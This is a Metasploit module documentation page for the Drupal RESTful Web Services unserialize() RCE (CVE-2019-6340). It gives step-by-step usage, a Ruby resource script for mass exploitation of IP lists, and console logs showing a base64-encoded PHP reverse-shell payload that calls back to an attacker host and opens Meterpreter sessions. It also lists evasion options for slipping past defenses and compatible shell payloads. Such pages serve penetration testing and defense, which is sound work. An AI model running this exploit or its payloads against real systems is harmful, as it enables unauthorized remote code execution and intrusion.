Drupal RESTful Web Services unserialize() RCE - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/drupal_restws_unserialize metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Drupal RESTful Web Services unserialize() RCE
Module: exploit/unix/webapp/drupal_restws_unserialize
Source code: modules/exploits/unix/webapp/drupal_restws_unserialize.rb
Disclosure date: 2019-02-20
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): php, cmd
Supported platform(s): PHP, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-6340
This module is also known as SA-CORE-2019-003.
This module exploits a PHP unserialize() vulnerability in Drupal RESTful Web Services by sending a crafted request to the /node REST endpoint. As per SA-CORE-2019-003, the initial remediation was to disable POST, PATCH, and PUT, but Ambionics discovered that GET was also vulnerable (albeit cached). Cached nodes can be exploited only once. Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of this alternate vector. Drupal < 8.5.11 and < 8.6.10 are vulnerable.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using drupal_restws_unserialize against a single host
Normally, you can use exploit/unix/webapp/drupal_restws_unserialize this way:
msf > use exploit/unix/webapp/drupal_restws_unserialize
msf exploit(drupal_restws_unserialize) > show targets
... a list of targets ...
msf exploit(drupal_restws_unserialize) > set TARGET target-id
msf exploit(drupal_restws_unserialize) > show options
... show and set options ...
msf exploit(drupal_restws_unserialize) > exploit
Using drupal_restws_unserialize against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your drupal_restws_unserialize will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/drupal_restws_unserialize")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
Web Services by sending a crafted request to the /node REST endpoint.
As per SA-CORE-2019-003, the initial remediation was to disable POST,
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
(albeit cached).
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of this alternate vector.
Drupal < 8.5.11 and < 8.6.10 are vulnerable.
Setup
docker run -dp 80:80 drupal:8.6.9 and enable the HAL, HTTP Basic
Authentication, RESTful Web Services, and Serialization modules at
/admin/modules.
Clear all caches at /admin/config/development/performance to repeat
exploitation if targeted nodes are cached.
Targets
Id Name
-- ----
0 PHP In-Memory
1 Unix In-Memory
Options
METHOD
Set this to the HTTP method to use. POST and GET (cached) are known
to work.
NODE
Set this to a node ID on the target when using the GET method.
DUMP_OUTPUT
Enable this if you'd like to see HTTP responses, including command
output. Defaults to false unless cmd/unix/generic is your payload.
Usage
msf5 exploit(unix/webapp/drupal_restws_unserialize) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Drupal 8 targeted at http://127.0.0.1/
[!] CHANGELOG.txt no longer contains patch level
[*] Executing with system(): echo 2oZashoKJTvVkPgkVLcTaehAdiv
[*] Sending POST to /node with link http://127.0.0.1/rest/type/shortcut/default
[+] Drupal is vulnerable to code execution
[*] Executing with system(): php -r 'eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMS4yJzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJO.bGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs));'
[*] Sending POST to /node with link http://127.0.0.1/rest/type/shortcut/default
[*] Sending stage (38247 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.2:55653) at 2019-03-05 19:26:37 -0600
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : 11f5c33da9ec
OS : Linux 11f5c33da9ec 4.9.93-linuxkit-aufs #1 SMP Wed Jun 6 16:55:56 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/drupal_restws_unserialize exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/drupal_restws_unserialize
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_restws_unserialize) > show info
Name: Drupal RESTful Web Services unserialize() RCE
Module: exploit/unix/webapp/drupal_restws_unserialize
Platform: PHP, Unix
Arch: php, cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-02-20
Provided by:
Jasper Mattsson
Charles Fol
Rotem Reiss
wvu <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 PHP In-Memory
1 Unix In-Memory
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
METHOD POST yes HTTP method to use (Accepted: GET, POST, PATCH, PUT)
NODE 1 no Node ID to target with GET method
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This module exploits a PHP unserialize() vulnerability in Drupal
RESTful Web Services by sending a crafted request to the /node REST
endpoint. As per SA-CORE-2019-003, the initial remediation was to
disable POST, PATCH, and PUT, but Ambionics discovered that GET was
also vulnerable (albeit cached). Cached nodes can be exploited only
once. Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify
users of this alternate vector. Drupal < 8.5.11 and < 8.6.10 are
vulnerable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-6340
https://www.drupal.org/sa-core-2019-003
https://www.drupal.org/psa-2019-02-22
https://www.ambionics.io/blog/drupal8-rce
https://github.com/ambionics/phpggc
https://twitter.com/jcran/status/1099206271901798400
Also known as:
SA-CORE-2019-003
Module Options
This is a complete list of options available in the unix/webapp/drupal_restws_unserialize exploit:
msf6 exploit(unix/webapp/drupal_restws_unserialize) > show options
Module options (exploit/unix/webapp/drupal_restws_unserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
METHOD POST yes HTTP method to use (Accepted: GET, POST, PATCH, PUT)
NODE 1 no Node ID to target with GET method
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP In-Memory
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/drupal_restws_unserialize exploit:
msf6 exploit(unix/webapp/drupal_restws_unserialize) > show advanced
Module advanced options (exploit/unix/webapp/drupal_restws_unserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/drupal_restws_unserialize module can exploit:
msf6 exploit(unix/webapp/drupal_restws_unserialize) > show targets
Exploit targets:
Id Name
-- ----
0 PHP In-Memory
1 Unix In-Memory
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/drupal_restws_unserialize exploit:
msf6 exploit(unix/webapp/drupal_restws_unserialize) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/drupal_restws_unserialize exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/drupal_restws_unserialize) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Could not determine Drupal version
- Drupal <VERSION> is not supported
- Could not determine Drupal patch level
- CHANGELOG.txt no longer contains patch level
- Drupal appears patched in CHANGELOG.txt
- Enabling DUMP_OUTPUT for cmd/unix/generic
- If you did not get code execution, try a new node ID
- <NODE_URI> not found
- <METH> method not allowed
- VHOST may need to be set
- Web Services may not be enabled
- Unexpected reply: <RES.INSPECT>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not determine Drupal version
Here is a relevant code snippet related to the "Could not determine Drupal version" error message:
87: checkcode = CheckCode::Unknown
88:
89: version = drupal_version
90:
91: unless version
92: vprint_error('Could not determine Drupal version')
93: return checkcode
94: end
95:
96: if version.to_s !~ /^8\b/
97: vprint_error("Drupal #{version} is not supported")
Drupal <VERSION> is not supported
Here is a relevant code snippet related to the "Drupal <VERSION> is not supported" error message:
92: vprint_error('Could not determine Drupal version')
93: return checkcode
94: end
95:
96: if version.to_s !~ /^8\b/
97: vprint_error("Drupal #{version} is not supported")
98: return CheckCode::Safe
99: end
100:
101: vprint_status("Drupal #{version} targeted at #{full_uri}")
102: checkcode = CheckCode::Detected
Could not determine Drupal patch level
Here is a relevant code snippet related to the "Could not determine Drupal patch level" error message:
102: checkcode = CheckCode::Detected
103:
104: changelog = drupal_changelog(version)
105:
106: unless changelog
107: vprint_error('Could not determine Drupal patch level')
108: return checkcode
109: end
110:
111: case drupal_patch(changelog, 'SA-CORE-2019-003')
112: when nil
CHANGELOG.txt no longer contains patch level
Here is a relevant code snippet related to the "CHANGELOG.txt no longer contains patch level" error message:
108: return checkcode
109: end
110:
111: case drupal_patch(changelog, 'SA-CORE-2019-003')
112: when nil
113: vprint_warning('CHANGELOG.txt no longer contains patch level')
114: when true
115: vprint_warning('Drupal appears patched in CHANGELOG.txt')
116: checkcode = CheckCode::Safe
117: when false
118: vprint_good('Drupal appears unpatched in CHANGELOG.txt')
Drupal appears patched in CHANGELOG.txt
Here is a relevant code snippet related to the "Drupal appears patched in CHANGELOG.txt" error message:
110:
111: case drupal_patch(changelog, 'SA-CORE-2019-003')
112: when nil
113: vprint_warning('CHANGELOG.txt no longer contains patch level')
114: when true
115: vprint_warning('Drupal appears patched in CHANGELOG.txt')
116: checkcode = CheckCode::Safe
117: when false
118: vprint_good('Drupal appears unpatched in CHANGELOG.txt')
119: checkcode = CheckCode::Appears
120: end
Enabling DUMP_OUTPUT for cmd/unix/generic
Here is a relevant code snippet related to the "Enabling DUMP_OUTPUT for cmd/unix/generic" error message:
136: checkcode
137: end
138:
139: def exploit
140: if datastore['PAYLOAD'] == 'cmd/unix/generic'
141: print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
142: # XXX: Naughty datastore modification
143: datastore['DUMP_OUTPUT'] = true
144: end
145:
146: case target['Type']
If you did not get code execution, try a new node ID
Here is a relevant code snippet related to the "If you did not get code execution, try a new node ID" error message:
183: case res.code
184: # 401 isn't actually a failure when using the POST method
185: when 200, 401
186: print_line(res.body) if datastore['DUMP_OUTPUT']
187: if meth == 'GET'
188: print_warning('If you did not get code execution, try a new node ID')
189: end
190: when 404
191: print_error("#{node_uri} not found")
192: when 405
193: print_error("#{meth} method not allowed")
<NODE_URI> not found
Here is a relevant code snippet related to the "<NODE_URI> not found" error message:
186: print_line(res.body) if datastore['DUMP_OUTPUT']
187: if meth == 'GET'
188: print_warning('If you did not get code execution, try a new node ID')
189: end
190: when 404
191: print_error("#{node_uri} not found")
192: when 405
193: print_error("#{meth} method not allowed")
194: when 422
195: print_error('VHOST may need to be set')
196: when 406
<METH> method not allowed
Here is a relevant code snippet related to the "<METH> method not allowed" error message:
188: print_warning('If you did not get code execution, try a new node ID')
189: end
190: when 404
191: print_error("#{node_uri} not found")
192: when 405
193: print_error("#{meth} method not allowed")
194: when 422
195: print_error('VHOST may need to be set')
196: when 406
197: print_error('Web Services may not be enabled')
198: else
VHOST may need to be set
Here is a relevant code snippet related to the "VHOST may need to be set" error message:
190: when 404
191: print_error("#{node_uri} not found")
192: when 405
193: print_error("#{meth} method not allowed")
194: when 422
195: print_error('VHOST may need to be set')
196: when 406
197: print_error('Web Services may not be enabled')
198: else
199: print_error("Unexpected reply: #{res.inspect}")
200: end
Web Services may not be enabled
Here is a relevant code snippet related to the "Web Services may not be enabled" error message:
192: when 405
193: print_error("#{meth} method not allowed")
194: when 422
195: print_error('VHOST may need to be set')
196: when 406
197: print_error('Web Services may not be enabled')
198: else
199: print_error("Unexpected reply: #{res.inspect}")
200: end
201:
202: res
Unexpected reply: <RES.INSPECT>
Here is a relevant code snippet related to the "Unexpected reply: <RES.INSPECT>" error message:
194: when 422
195: print_error('VHOST may need to be set')
196: when 406
197: print_error('Web Services may not be enabled')
198: else
199: print_error("Unexpected reply: #{res.inspect}")
200: end
201:
202: res
203: end
204:
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2019-6340
- https://www.drupal.org/sa-core-2019-003
- https://www.drupal.org/psa-2019-02-22
- https://www.ambionics.io/blog/drupal8-rce
- https://github.com/ambionics/phpggc
- https://twitter.com/jcran/status/1099206271901798400
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/drupal_coder_exec
- exploit/unix/webapp/drupal_drupalgeddon2
- exploit/unix/webapp/drupal_restws_exec
- auxiliary/gather/drupal_openid_xxe
- auxiliary/scanner/http/drupal_views_user_enum
- exploit/multi/http/drupal_drupageddon
- exploit/multi/http/magento_unserialize
- exploit/multi/http/vbulletin_unserialize
- exploit/unix/webapp/joomla_akeeba_unserialize
- exploit/linux/http/kaltura_unserialize_cookie_rce
- exploit/linux/http/kaltura_unserialize_rce
- exploit/multi/http/pimcore_unserialize_rce
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/webapp/horde_unserialize_exec
- exploit/unix/webapp/invision_pboard_unserialize_exec
- exploit/unix/webapp/sugarcrm_rest_unserialize_exec
- exploit/unix/webapp/sugarcrm_unserialize_exec
- exploit/unix/webapp/tikiwiki_unserialize_exec
- exploit/unix/webapp/tuleap_rest_unserialize_exec
- exploit/unix/webapp/tuleap_unserialize_exec
Related Nessus plugins:
- Drupal 8.5.x < 8.5.11 / 8.6.x < 8.6.10 Remote Code Execution (SA-CORE-2019-003)
- FreeBSD : drupal -- Drupal core - Highly critical - Remote Code Execution (002b4b05-35dd-11e9-94a8-000ffec0b3e1)
- Drupal Remote Code Execution Vulnerability (SA-CORE-2019-003) (exploit)
Authors
- Jasper Mattsson
- Charles Fol
- Rotem Reiss
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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